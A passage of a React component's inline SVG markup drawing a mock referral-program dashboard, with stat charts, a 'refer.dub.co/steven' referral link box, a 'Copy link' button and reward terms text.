.575-.121.258-.125.431-.358.173-.234.237-.567h1.392a2.43 2.43 0 0 1-.386 1.162 2.3 2.3 0 0 1-.909.789q-.576.28-1.352.281M298.597 504.92v-6.179h1.456v6.179zm.732-7.056a.85.85 0 0 1-.596-.229.74.74 0 0 1-.249-.559.73.73 0 0 1 .249-.559.84.84 0 0 1 .596-.234q.35 0 .595.234a.73.73 0 0 1 .249.559.74.74 0 0 1-.249.559.84.84 0 0 1-.595.229M297.099 496.681v8.239h-1.456v-8.239zM294.341 499.461h-1.505a1.9 1.9 0 0 0-.237-.656 1.76 1.76 0 0 0-1.018-.792 2.3 2.3 0 0 0-.704-.105q-.67 0-1.19.338-.519.334-.813.982-.294.643-.294 1.573 0 .945.294 1.592.298.644.813.974.519.326 1.186.326.37 0 .692-.097.326-.1.583-.293.262-.193.439-.475.182-.281.249-.644l1.505.008a3.3 3.3 0 0 1-.366 1.102 3.3 3.3 0 0 1-.728.91 3.4 3.4 0 0 1-1.054.611 3.9 3.9 0 0 1-1.34.217q-1.086 0-1.939-.503-.852-.502-1.343-1.452-.49-.95-.491-2.276 0-1.332.495-2.277.495-.95 1.347-1.452.854-.503 1.931-.503.688 0 1.279.193.592.194 1.054.567.463.37.761.909.301.535.394 1.223\"\n            />\n            <path\n              fill=\"#525252\"\n              d=\"M306.739 525.208q-1.073-.005-1.832-.566t-1.163-1.634q-.403-1.072-.403-2.584 0-1.507.403-2.575.407-1.068 1.167-1.629.765-.561 1.828-.561t1.824.566q.76.561 1.163 1.629.407 1.064.407 2.57 0 1.516-.402 2.589-.404 1.067-1.163 1.634-.76.561-1.829.561m0-1.209q.942 0 1.471-.918.534-.919.534-2.657 0-1.154-.244-1.95-.24-.8-.693-1.213a1.52 1.52 0 0 0-1.068-.416q-.936 0-1.47.923t-.539 2.656q0 1.16.24 1.96.245.797.692 1.208.448.408 1.077.407M298.526 525.18q-.933 0-1.665-.321-.73-.321-1.154-.891a2.36 2.36 0 0 1-.453-1.331h1.421q.027.412.276.715.253.298.661.462.407.163.905.163.548 0 .968-.19a1.6 1.6 0 0 0 .665-.53q.24-.344.24-.792 0-.465-.24-.819a1.56 1.56 0 0 0-.692-.561q-.453-.204-1.095-.204h-.783v-1.14h.783q.516 0 .905-.186.394-.185.615-.515.222-.336.222-.783 0-.43-.194-.747a1.3 1.3 0 0 0-.543-.502 1.76 1.76 0 0 0-.824-.181q-.453 0-.846.167-.39.163-.634.471-.244.303-.262.728h-1.353q.023-.75.443-1.321.426-.57 1.122-.892a3.7 3.7 0 0 1 1.548-.321q.891 0 1.539.349.651.343 1.004.918.358.575.353 1.258.005.779-.434 1.322-.435.543-1.159.728v.073q.923.14 1.43.733.512.592.507 1.471.004.764-.425 1.371a2.9 2.9 0 0 1-1.163.955q-.738.343-1.688.343M290.379 525.18q-.973 0-1.719-.334-.743-.335-1.164-.924a2.22 2.22 0 0 1-.416-1.339 2.36 2.36 0 0 1 .914-1.91 2.1 2.1 0 0 1 .951-.425v-.054a1.87 1.87 0 0 1-1.109-.743 2.17 2.17 0 0 1-.412-1.321 2.16 2.16 0 0 1 .376-1.267 2.63 2.63 0 0 1 1.054-.883q.67-.321 1.525-.321a3.4 3.4 0 0 1 1.512.326q.67.321 1.054.882a2.2 2.2 0 0 1 .389 1.263 2.2 2.2 0 0 1-.425 1.321 1.9 1.9 0 0 1-1.095.743v.054q.52.09.936.425.421.33.67.828.253.494.258 1.082a2.27 2.27 0 0 1-.425 1.339q-.421.589-1.168.924-.742.334-1.706.334m0-1.144q.574 0 .996-.19.42-.195.651-.539.231-.348.236-.815a1.53 1.53 0 0 0-.254-.855 1.7 1.7 0 0 0-.665-.584 2.1 2.1 0 0 0-.964-.212q-.547 0-.973.212a1.7 1.7 0 0 0-.67.584 1.5 1.5 0 0 0-.239.855q-.005.467.221.815.231.344.657.539.425.19 1.004.19m0-4.313q.462 0 .819-.186a1.4 1.4 0 0 0 .561-.515q.208-.332.213-.774a1.44 1.44 0 0 0-.208-.761 1.32 1.32 0 0 0-.557-.502 1.8 1.8 0 0 0-.828-.181q-.48 0-.842.181a1.33 1.33 0 0 0-.556.502 1.4 1.4 0 0 0-.195.761q-.004.442.199.774.204.33.561.515a1.8 1.8 0 0 0 .833.186\"\n            />\n            <g opacity=\".2\">\n              <path\n                fill={`url(#${id}-G)`}\n                d=\"m504.148 556.259-28.541 38.92a4.25 4.25 0 0 1-5.063 1.407l-26.241-10.966a4.24 4.24 0 0 0-2.982-.111l-28.84 9.622a4.2 4.2 0 0 1-1.639.208l-29.763-2.066a4.25 4.25 0 0 1-1.699-.487l-27.715-14.721a4.25 4.25 0 0 0-4.848.606l-28.453 25.833a4.3 4.3 0 0 1-1.085.716l-30.552 14.012v6.608a4.247 4.247 0 0 0 4.247 4.248h240.708a4.25 4.25 0 0 0 4.248-4.248v-85.31l-30.186 14.407a4.25 4.25 0 0 0-1.596 1.322\"\n              />\n              <path\n                fill={`url(#${id}-H)`}\n                d=\"m504.148 556.259-28.541 38.92a4.25 4.25 0 0 1-5.063 1.407l-26.241-10.966a4.24 4.24 0 0 0-2.982-.111l-28.84 9.622a4.2 4.2 0 0 1-1.639.208l-29.763-2.066a4.25 4.25 0 0 1-1.699-.487l-27.715-14.721a4.25 4.25 0 0 0-4.848.606l-28.453 25.833a4.3 4.3 0 0 1-1.085.716l-30.552 14.012v6.608a4.247 4.247 0 0 0 4.247 4.248h240.708a4.25 4.25 0 0 0 4.248-4.248v-85.31l-30.186 14.407a4.25 4.25 0 0 0-1.596 1.322\"\n              />\n            </g>\n            <path\n              stroke={`url(#${id}-I)`}\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.062\"\n              d=\"m287.434 619.469 30.972-15.249a.7.7 0 0 0 .163-.111l30.619-27.774a.71.71 0 0 1 .81-.1l30.492 16.324a.7.7 0 0 0 .276.081l30.772 2.542a.7.7 0 0 0 .28-.033l30.676-10.137a.7.7 0 0 1 .492.017l30.307 12.52a.71.71 0 0 0 .841-.235l30.631-41.653a.7.7 0 0 1 .257-.215l30.907-15.269\"\n            />\n            <rect\n              width=\"275.87\"\n              height=\"186.195\"\n              x=\"566.842\"\n              y=\"480.354\"\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              rx=\"5.31\"\n            />\n            <path\n              fill=\"#262626\"\n              d=\"m612.237 499.976-1.327.145a1.1 1.1 0 0 0-.197-.378 1 1 0 0 0-.37-.286 1.36 1.36 0 0 0-.571-.109q-.455 0-.765.197-.306.198-.301.511a.54.54 0 0 0 .197.439q.205.168.675.277l1.054.226q.877.188 1.304.599.43.41.434 1.074a1.7 1.7 0 0 1-.342 1.03q-.333.442-.929.692t-1.368.249q-1.134 0-1.826-.475a1.9 1.9 0 0 1-.825-1.331l1.42-.137q.098.419.411.632t.816.213q.52 0 .833-.213.318-.213.318-.527a.55.55 0 0 0-.205-.439q-.202-.173-.628-.265l-1.054-.221q-.888-.186-1.315-.624-.426-.443-.423-1.118a1.6 1.6 0 0 1 .31-.99q.318-.422.881-.651a3.4 3.4 0 0 1 1.307-.234q1.086 0 1.71.463.627.462.776 1.251M602.512 504.63q-.729 0-1.303-.374-.576-.375-.91-1.086-.333-.712-.333-1.73 0-1.03.338-1.738.341-.711.921-1.074a2.37 2.37 0 0 1 1.291-.366q.543 0 .893.185.35.181.555.439.206.253.318.478h.06v-3.081h1.46v8.238h-1.432v-.973h-.088a2.5 2.5 0 0 1-.326.479q-.213.249-.563.426t-.881.177m.406-1.195q.463 0 .789-.249.326-.254.494-.704.17-.45.169-1.05 0-.6-.169-1.042a1.5 1.5 0 0 0-.49-.688 1.27 1.27 0 0 0-.793-.245q-.486 0-.812.253a1.53 1.53 0 0 0-.491.7q-.165.447-.165 1.022 0 .58.165 1.034.168.45.495.712.33.257.808.257M595.493 504.646q-.588 0-1.058-.209a1.73 1.73 0 0 1-.741-.628q-.269-.414-.269-1.021 0-.523.193-.865t.527-.547.752-.31a6 6 0 0 1 .873-.157q.543-.056.881-.1.338-.05.491-.145.157-.101.157-.31v-.024q0-.455-.27-.704t-.776-.249q-.536 0-.849.233a1.15 1.15 0 0 0-.418.551l-1.36-.193a2.16 2.16 0 0 1 .531-.941q.37-.383.905-.572a3.5 3.5 0 0 1 1.183-.193q.446 0 .889.105.442.105.808.346.366.237.588.647.225.411.225 1.026v4.135h-1.4v-.848h-.048a1.8 1.8 0 0 1-.374.482 1.8 1.8 0 0 1-.6.358 2.4 2.4 0 0 1-.84.133m.378-1.07q.438 0 .76-.173.321-.177.495-.467.177-.29.177-.631v-.728a.7.7 0 0 1-.234.104 3 3 0 0 1-.362.085q-.2.036-.398.064l-.342.049a2.5 2.5 0 0 0-.583.144.96.96 0 0 0-.406.282.68.68 0 0 0-.149.458q0 .403.293.608.294.205.749.205M589.735 504.642q-.929 0-1.605-.386a2.6 2.6 0 0 1-1.033-1.102q-.362-.716-.362-1.686 0-.953.362-1.673a2.73 2.73 0 0 1 1.021-1.126q.656-.407 1.541-.407.571 0 1.078.185.511.182.901.563.394.383.619.974.226.587.226 1.4v.446h-5.065v-.981h3.669a1.6 1.6 0 0 0-.181-.744 1.3 1.3 0 0 0-.495-.519 1.4 1.4 0 0 0-.732-.189q-.447 0-.784.217-.338.213-.527.563a1.6 1.6 0 0 0-.189.76v.857q0 .539.197.925.197.382.551.588.354.201.828.201.318 0 .576-.089.257-.093.446-.269t.286-.439l1.359.153a2.1 2.1 0 0 1-.49.941 2.4 2.4 0 0 1-.918.62 3.5 3.5 0 0 1-1.279.217M580.648 504.521v-8.238h1.493v6.987h3.628v1.251z\"\n            />\n            <path\n              fill=\"#525252\"\n              d=\"M598.139 524.66a3.5 3.5 0 0 1-1.53-.326 2.8 2.8 0 0 1-1.077-.905 2.4 2.4 0 0 1-.43-1.312h1.358q.05.598.529.982.48.385 1.15.385.534 0 .946-.245.416-.249.651-.683.24-.435.24-.991 0-.566-.244-1.009a1.8 1.8 0 0 0-.674-.697 1.9 1.9 0 0 0-.978-.258q-.421 0-.846.145a2 2 0 0 0-.688.38l-1.281-.19.521-4.67h5.095v1.199h-3.932l-.294 2.593h.054a2.2 2.2 0 0 1 .719-.439q.453-.177.969-.177.846 0 1.507.403.665.403 1.045 1.1.385.692.38 1.593.005.9-.407 1.606a2.95 2.95 0 0 1-1.131 1.113q-.72.403-1.652.403M592.573 515.266v9.268h-1.403v-7.866h-.054l-2.218 1.449v-1.34l2.313-1.511zM580.648 522.723v-1.131l4.005-6.326h.892v1.665h-.566l-2.864 4.534v.073h5.489v1.185zm4.395 1.811v-2.155l.009-.515v-6.598h1.326v9.268z\"\n            />\n            <g opacity=\".2\">\n              <path\n                fill={`url(#${id}-J)`}\n                d=\"m797.953 556.259-28.541 38.92a4.25 4.25 0 0 1-5.064 1.407l-26.24-10.966a4.24 4.24 0 0 0-2.982-.111l-28.84 9.622a4.2 4.2 0 0 1-1.639.208l-29.764-2.066a4.25 4.25 0 0 1-1.698-.487l-27.716-14.721a4.25 4.25 0 0 0-4.848.606l-28.452 25.833a4.3 4.3 0 0 1-1.085.716l-30.553 14.012v6.608a4.25 4.25 0 0 0 4.248 4.248h240.708a4.25 4.25 0 0 0 4.248-4.248v-85.31l-30.187 14.407a4.24 4.24 0 0 0-1.595 1.322\"\n              />\n              <path\n                fill={`url(#${id}-K)`}\n                d=\"m797.953 556.259-28.541 38.92a4.25 4.25 0 0 1-5.064 1.407l-26.24-10.966a4.24 4.24 0 0 0-2.982-.111l-28.84 9.622a4.2 4.2 0 0 1-1.639.208l-29.764-2.066a4.25 4.25 0 0 1-1.698-.487l-27.716-14.721a4.25 4.25 0 0 0-4.848.606l-28.452 25.833a4.3 4.3 0 0 1-1.085.716l-30.553 14.012v6.608a4.25 4.25 0 0 0 4.248 4.248h240.708a4.25 4.25 0 0 0 4.248-4.248v-85.31l-30.187 14.407a4.24 4.24 0 0 0-1.595 1.322\"\n              />\n            </g>\n            <path\n              stroke={`url(#${id}-L)`}\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.062\"\n              d=\"m581.238 619.469 30.973-15.249a.7.7 0 0 0 .163-.111l30.618-27.774a.71.71 0 0 1 .81-.1l30.493 16.324a.7.7 0 0 0 .275.081l30.772 2.542a.7.7 0 0 0 .281-.033l30.675-10.137a.7.7 0 0 1 .493.017l30.307 12.52a.71.71 0 0 0 .84-.235l30.632-41.653a.7.7 0 0 1 .257-.215l30.907-15.269\"\n            />\n            <rect\n              width=\"275.87\"\n              height=\"186.195\"\n              x=\"860.413\"\n              y=\"480.354\"\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              rx=\"5.31\"\n            />\n            <path\n              fill=\"#262626\"\n              d=\"m902.864 500.089-1.327.144a1.1 1.1 0 0 0-.197-.378 1 1 0 0 0-.37-.285 1.34 1.34 0 0 0-.572-.109q-.454 0-.764.197-.305.198-.302.511a.54.54 0 0 0 .197.438q.206.17.676.278l1.054.225q.877.189 1.303.6.43.41.435 1.074a1.68 1.68 0 0 1-.342 1.029q-.334.443-.929.692-.596.25-1.368.25-1.134 0-1.826-.475a1.9 1.9 0 0 1-.825-1.331l1.42-.137q.097.418.411.631t.816.213q.52 0 .833-.213.318-.212.318-.527a.55.55 0 0 0-.206-.438q-.201-.173-.627-.266l-1.054-.221q-.89-.185-1.315-.623-.427-.442-.423-1.119-.003-.57.31-.989.317-.423.881-.652a3.4 3.4 0 0 1 1.307-.233q1.086 0 1.71.463.627.462.776 1.251M894.002 504.755q-.93 0-1.605-.387a2.6 2.6 0 0 1-1.034-1.102q-.362-.716-.362-1.685 0-.953.362-1.674a2.74 2.74 0 0 1 1.021-1.126q.656-.406 1.541-.406.571 0 1.078.185.511.181.901.563.394.382.62.974.225.587.225 1.399v.447h-5.064v-.982h3.668a1.6 1.6 0 0 0-.181-.744 1.3 1.3 0 0 0-.495-.519 1.4 1.4 0 0 0-.732-.189q-.446 0-.784.217-.338.214-.527.564-.185.346-.189.76v.857q0 .538.197.925.197.382.551.587.354.201.829.201.317 0 .575-.088.257-.093.446-.27a1.1 1.1 0 0 0 .286-.438l1.36.153q-.13.539-.491.941a2.4 2.4 0 0 1-.917.619 3.5 3.5 0 0 1-1.279.218M889.769 496.396v8.238h-1.456v-8.238zM883.586 504.759q-.587 0-1.058-.21a1.72 1.72 0 0 1-.74-.627q-.27-.414-.269-1.022 0-.522.193-.865.192-.342.527-.547.333-.205.752-.309.421-.11.873-.157.542-.057.881-.101.338-.048.49-.145.157-.1.157-.309v-.025q0-.454-.269-.703-.27-.25-.777-.25-.534 0-.848.233-.31.234-.419.552l-1.359-.194q.16-.563.531-.941.37-.382.905-.571a3.5 3.5 0 0 1 1.182-.193q.447 0 .889.105.443.104.809.345.366.238.587.648.225.411.225 1.026v4.135h-1.399v-.849h-.049a1.76 1.76 0 0 1-.973.841 2.4 2.4 0 0 1-.841.133m.378-1.07q.439 0 .761-.173a1.3 1.3 0 0 0 .494-.467q.177-.29.177-.631v-.729a.7.7 0 0 1-.233.105q-.16.048-.362.085-.201.036-.398.064l-.342.048q-.326.045-.583.145a1 1 0 0 0-.407.282.7.7 0 0 0-.149.458q0 .402.294.608t.748.205M878.993 498.661a1.1 1.1 0 0 0-.474-.821q-.414-.294-1.078-.294-.466 0-.801.141a1.2 1.2 0 0 0-.511.382.93.93 0 0 0-.181.551q0 .258.117.447.121.189.326.322.205.128.454.217.25.088.503.149l.773.193q.467.108.897.293.434.186.776.467.346.281.547.68.201.398.201.933 0 .725-.37 1.275-.37.547-1.07.857-.696.306-1.685.306-.962 0-1.67-.298a2.5 2.5 0 0 1-1.102-.869q-.394-.572-.426-1.392h1.468q.032.43.265.716t.608.427q.378.141.845.141.486 0 .852-.145.37-.15.58-.411a1 1 0 0 0 .213-.619.8.8 0 0 0-.189-.531 1.4 1.4 0 0 0-.519-.354 5 5 0 0 0-.772-.257l-.938-.242q-1.018-.261-1.609-.792-.587-.535-.587-1.42 0-.729.394-1.275a2.6 2.6 0 0 1 1.082-.849q.684-.306 1.549-.306.877 0 1.537.306a2.5 2.5 0 0 1 1.041.841q.378.534.391 1.231z\"\n            />\n            <path\n              fill=\"#525252\"\n              d=\"M893.496 524.926q-1.073-.004-1.833-.565t-1.163-1.634-.403-2.584q0-1.507.403-2.575.407-1.068 1.167-1.629.765-.561 1.829-.561 1.063 0 1.823.566.76.561 1.163 1.629.408 1.063.408 2.57 0 1.516-.403 2.589-.403 1.068-1.163 1.633-.76.561-1.828.561m0-1.208q.94 0 1.47-.919.534-.918.534-2.656 0-1.154-.244-1.95-.24-.802-.692-1.213a1.51 1.51 0 0 0-1.068-.416q-.937 0-1.471.923t-.539 2.656q0 1.159.24 1.96.245.796.693 1.208.447.407 1.077.407M885.27 524.926q-1.072-.004-1.833-.565t-1.163-1.634-.403-2.584q0-1.507.403-2.575.407-1.068 1.167-1.629.765-.561 1.829-.561t1.823.566q.76.561 1.163 1.629.408 1.063.408 2.57 0 1.516-.403 2.589-.403 1.068-1.163 1.633-.76.561-1.828.561m0-1.208q.94 0 1.47-.919.534-.918.534-2.656 0-1.154-.244-1.95-.24-.802-.692-1.213a1.51 1.51 0 0 0-1.068-.416q-.937 0-1.471.923t-.539 2.656q0 1.159.24 1.96.245.796.693 1.208.447.407 1.077.407M874.228 524.773v-1.014l3.136-3.249q.503-.53.828-.928a3.5 3.5 0 0 0 .493-.765q.163-.362.163-.769 0-.461-.217-.797a1.4 1.4 0 0 0-.593-.52 1.9 1.9 0 0 0-.846-.186q-.498 0-.869.204a1.4 1.4 0 0 0-.57.575 1.8 1.8 0 0 0-.199.869h-1.335q0-.846.389-1.48t1.068-.982q.678-.353 1.543-.353.873 0 1.539.348.67.344 1.045.942.375.592.376 1.339 0 .516-.195 1.009-.19.494-.665 1.1-.475.601-1.322 1.462l-1.841 1.927v.068h4.172v1.2z\"\n            />\n            <g opacity=\".2\">\n              <path\n                fill={`url(#${id}-M)`}\n                d=\"m1091.05 556.259-28.54 38.92a4.244 4.244 0 0 1-5.06 1.407l-26.24-10.966a4.26 4.26 0 0 0-2.99-.111l-28.837 9.622a4.2 4.2 0 0 1-1.638.208l-29.764-2.066a4.25 4.25 0 0 1-1.698-.487l-27.716-14.721a4.25 4.25 0 0 0-4.848.606l-28.453 25.833a4.2 4.2 0 0 1-1.084.716l-30.553 14.012v6.608a4.25 4.25 0 0 0 4.248 4.248h240.703c2.35 0 4.25-1.902 4.25-4.248v-85.31l-30.18 14.407c-.64.302-1.19.756-1.6 1.322\"\n              />\n              <path\n                fill={`url(#${id}-N)`}\n                d=\"m1091.05 556.259-28.54 38.92a4.244 4.244 0 0 1-5.06 1.407l-26.24-10.966a4.26 4.26 0 0 0-2.99-.111l-28.837 9.622a4.2 4.2 0 0 1-1.638.208l-29.764-2.066a4.25 4.25 0 0 1-1.698-.487l-27.716-14.721a4.25 4.25 0 0 0-4.848.606l-28.453 25.833a4.2 4.2 0 0 1-1.084.716l-30.553 14.012v6.608a4.25 4.25 0 0 0 4.248 4.248h240.703c2.35 0 4.25-1.902 4.25-4.248v-85.31l-30.18 14.407c-.64.302-1.19.756-1.6 1.322\"\n              />\n            </g>\n            <path\n              stroke={`url(#${id}-O)`}\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.062\"\n              d=\"m874.336 619.469 30.973-15.249a.7.7 0 0 0 .163-.111l30.618-27.774a.71.71 0 0 1 .81-.1l30.492 16.324q.13.068.276.081l30.772 2.542a.7.7 0 0 0 .281-.033l30.679-10.137a.7.7 0 0 1 .49.017l30.31 12.52c.3.124.64.027.84-.235l30.63-41.653a.65.65 0 0 1 .25-.215l30.91-15.269\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"11.327\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"286.727\" y=\"96.154\">\n                Referral link\n              </tspan>\n            </text>\n            <rect\n              width=\"348.319\"\n              height=\"28.319\"\n              x=\"286.727\"\n              y=\"109.026\"\n              fill={`url(#${id}-P)`}\n              rx=\"5.664\"\n            />\n            <rect\n              width=\"256.469\"\n              height=\"27.611\"\n              x=\"287.081\"\n              y=\"109.38\"\n              fill=\"#fff\"\n              rx=\"3.894\"\n            />\n            <rect\n              width=\"256.469\"\n              height=\"27.611\"\n              x=\"287.081\"\n              y=\"109.38\"\n              stroke=\"#d4d4d4\"\n              strokeWidth=\".708\"\n              rx=\"3.894\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"9.912\"\n              fontWeight=\"500\"\n              letterSpacing=\"0em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"295.223\" y=\"126.79\">\n                refer.dub.co/steven\n              </tspan>\n            </text>\n            <path\n              fill=\"#171717\"\n              d=\"M552.398 114.69a5.664 5.664 0 0 1 5.664-5.664h71.319a5.663 5.663 0 0 1 5.663 5.664v16.991a5.663 5.663 0 0 1-5.663 5.664h-71.319a5.664 5.664 0 0 1-5.664-5.664z\"\n            />\n            <g clipPath={`url(#${id}-Q)`}>\n              <path\n                fill=\"#fff\"\n                d=\"M573.422 122.399a.727.727 0 0 0-.728-.727h-4.72a.726.726 0 0 0-.727.727v3.461c0 .402.325.728.727.728h4.72a.73.73 0 0 0 .728-.728zm-1.888-1.888a.727.727 0 0 0-.728-.727h-4.72a.726.726 0 0 0-.727.727v3.462c0 .402.325.727.727.727h.099v-2.301c0-.988.801-1.789 1.789-1.789h3.56zm1.062.099h.098c.989 0 1.79.801 1.79 1.789v3.461a1.79 1.79 0 0 1-1.79 1.79h-4.72a1.79 1.79 0 0 1-1.789-1.79v-.098h-.099a1.79 1.79 0 0 1-1.789-1.789v-3.462c0-.988.801-1.789 1.789-1.789h4.72c.989 0 1.79.8 1.79 1.789z\"\n              />\n            </g>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#fff\"\n              fontFamily=\"Inter\"\n              fontSize=\"9.912\"\n              fontWeight=\"500\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"581.106\" y=\"126.369\">\n                Copy link\n              </tspan>\n            </text>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#262626\"\n              fontFamily=\"Inter\"\n              fontSize=\"11.327\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"286.727\" y=\"172.615\">\n                Rewards\n              </tspan>\n            </text>\n            <path\n              fill=\"#fff\"\n              d=\"M290.975 183.018h339.822a3.895 3.895 0 0 1 3.894 3.894v55.486a3.894 3.894 0 0 1-3.894 3.894H290.975a3.894 3.894 0 0 1-3.895-3.894v-55.486a3.895 3.895 0 0 1 3.895-3.894\"\n            />\n            <path\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              d=\"M290.975 183.018h339.822a3.895 3.895 0 0 1 3.894 3.894v55.486a3.894 3.894 0 0 1-3.894 3.894H290.975a3.894 3.894 0 0 1-3.895-3.894v-55.486a3.895 3.895 0 0 1 3.895-3.894Z\"\n            />\n            <g fill=\"#525252\" clipPath={`url(#${id}-R)`}>\n              <path d=\"M304.426 197.95c.293 0 .531.238.531.531v.042c.438.111.91.395 1.179 1.03a.53.53 0 1 1-.979.413.67.67 0 0 0-.304-.357.9.9 0 0 0-.401-.087c-.122 0-.358.038-.531.141a.4.4 0 0 0-.159.151.43.43 0 0 0-.041.263c.014.144.079.238.202.322.143.096.35.164.59.207.278.049.697.139 1.055.357.388.237.718.637.733 1.251.021.875-.614 1.436-1.346 1.613a.531.531 0 0 1-1.058.005 1.684 1.684 0 0 1-1.322-1.205.532.532 0 0 1 1.017-.31c.059.197.154.308.266.377.122.076.31.132.594.132.545 0 .794-.315.787-.587-.004-.18-.077-.28-.224-.37-.176-.107-.424-.17-.689-.217-.302-.054-.677-.158-.997-.373a1.47 1.47 0 0 1-.665-1.101 1.5 1.5 0 0 1 .172-.885 1.5 1.5 0 0 1 .54-.542c.17-.101.35-.168.519-.213v-.057c0-.293.238-.531.531-.531\" />\n              <path\n                fillRule=\"evenodd\"\n                d=\"M307.081 195.826c1.075 0 1.947.872 1.947 1.947v8.85a.53.53 0 0 1-.786.466l-1.703-.93-1.876.939a.53.53 0 0 1-.474 0l-1.877-.939-1.702.93a.533.533 0 0 1-.786-.466v-8.85c0-1.075.872-1.947 1.947-1.947zm-5.31 1.062a.885.885 0 0 0-.885.885v7.955l1.162-.633.058-.028a.53.53 0 0 1 .433.019l1.887.943 1.887-.943.059-.026a.53.53 0 0 1 .432.035l1.162.633v-7.955a.885.885 0 0 0-.885-.885z\"\n                clipRule=\"evenodd\"\n              />\n            </g>\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#525252\"\n              fontFamily=\"Inter\"\n              fontSize=\"9.912\"\n              fontWeight=\"500\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"316.957\" y=\"204.675\">\n                30% per sale, and again every month for 12 months\n              </tspan>\n            </text>\n            <path\n              fill=\"#525252\"\n              fillRule=\"evenodd\"\n              d=\"M306.905 222.155a1.77 1.77 0 0 1 1.622 2.478h.325a1.24 1.24 0 0 1 1.239 1.239v.708a1.24 1.24 0 0 1-1.239 1.239h-.177v3.717a1.947 1.947 0 0 1-1.947 1.947h-4.601a1.947 1.947 0 0 1-1.947-1.947v-3.717h-.177a1.24 1.24 0 0 1-1.239-1.239v-.708c0-.684.554-1.239 1.239-1.239h.325a1.77 1.77 0 0 1 1.622-2.478c1.189 0 1.948.81 2.375 1.487q.054.088.102.174.048-.086.103-.174c.427-.677 1.186-1.487 2.375-1.487m-5.663 5.664v3.717c0 .489.395.885.885.885h1.769v-4.602zm3.716 0v4.602h1.77a.885.885 0 0 0 .885-.885v-3.717zm0-1.062h3.894a.177.177 0 0 0 .177-.177v-.708a.177.177 0 0 0-.177-.177h-3.894zm-4.955-1.062a.177.177 0 0 0-.177.177v.708c0 .098.079.177.177.177h3.893v-1.062zm1.947-2.478a.709.709 0 0 0 0 1.416h1.709a4 4 0 0 0-.233-.425c-.353-.561-.833-.991-1.476-.991m4.955 0c-.643 0-1.123.43-1.477.991-.09.144-.167.289-.232.425h1.709a.708.708 0 0 0 0-1.416\"\n              clipRule=\"evenodd\"\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#525252\"\n              fontFamily=\"Inter\"\n              fontSize=\"9.912\"\n              fontWeight=\"500\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"316.813\" y=\"231.003\">\n                New users get 20% off for 3 months\n              </tspan>\n            </text>\n          </g>\n        </g>\n      </g>\n      <path\n        stroke=\"#d4d4d4\"\n        strokeWidth=\".708\"\n        d=\"M16 .354h1168c8.64 0 15.65 7.005 15.65 15.646v613.734H.354V16C.354 7.359 7.359.354 16 .354Z\"\n      />\n      <defs>\n        <pattern\n          id={`${id}-grid`}\n          x=\"569.912\"\n          y=\"50.266\"\n          width=\"14.159\"\n          height=\"14.159\"\n          patternUnits=\"userSpaceOnUse\"\n        >\n          <rect width=\"14.159\" height=\".531\" fill=\"#000\" />\n          <rect width=\".531\" height=\"14.159\" fill=\"#000\" />\n        </pattern>\n        <linearGradient\n          id={`${id}-x`}\n          x1=\"662.675\"\n          x2=\"980.059\"\n          y1=\"163.54\"\n          y2=\"-25.41\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fafafa\" />\n          <stop offset=\"1\" stopColor=\"#fafafa\" stopOpacity=\"0\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-z`}\n          x1=\"1023.36\"\n          x2=\"1023.36\"\n          y1=\"220.178\"\n          y2=\"106.903\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" stopOpacity=\".23\" />\n          <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\".3\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-C`}\n          x1=\"286.018\"\n          x2=\"829.734\"\n          y1=\"405.633\"\n          y2=\"405.633\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-D`}\n          x1=\"557.876\"\n          x2=\"557.876\"\n          y1=\"334.869\"\n          y2=\"440.71\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" stopOpacity=\"0\" />\n          <stop offset=\"1\" stopColor=\"#fff\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-E`}\n          x1=\"286.018\"\n          x2=\"829.734\"\n          y1=\"381.575\"\n          y2=\"381.575\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-G`}\n          x1=\"286.727\"\n          x2=\"535.93\"\n          y1=\"600.408\"\n          y2=\"600.408\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-H`}\n          x1=\"411.328\"\n          x2=\"411.328\"\n          y1=\"540.53\"\n          y2=\"630.088\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n     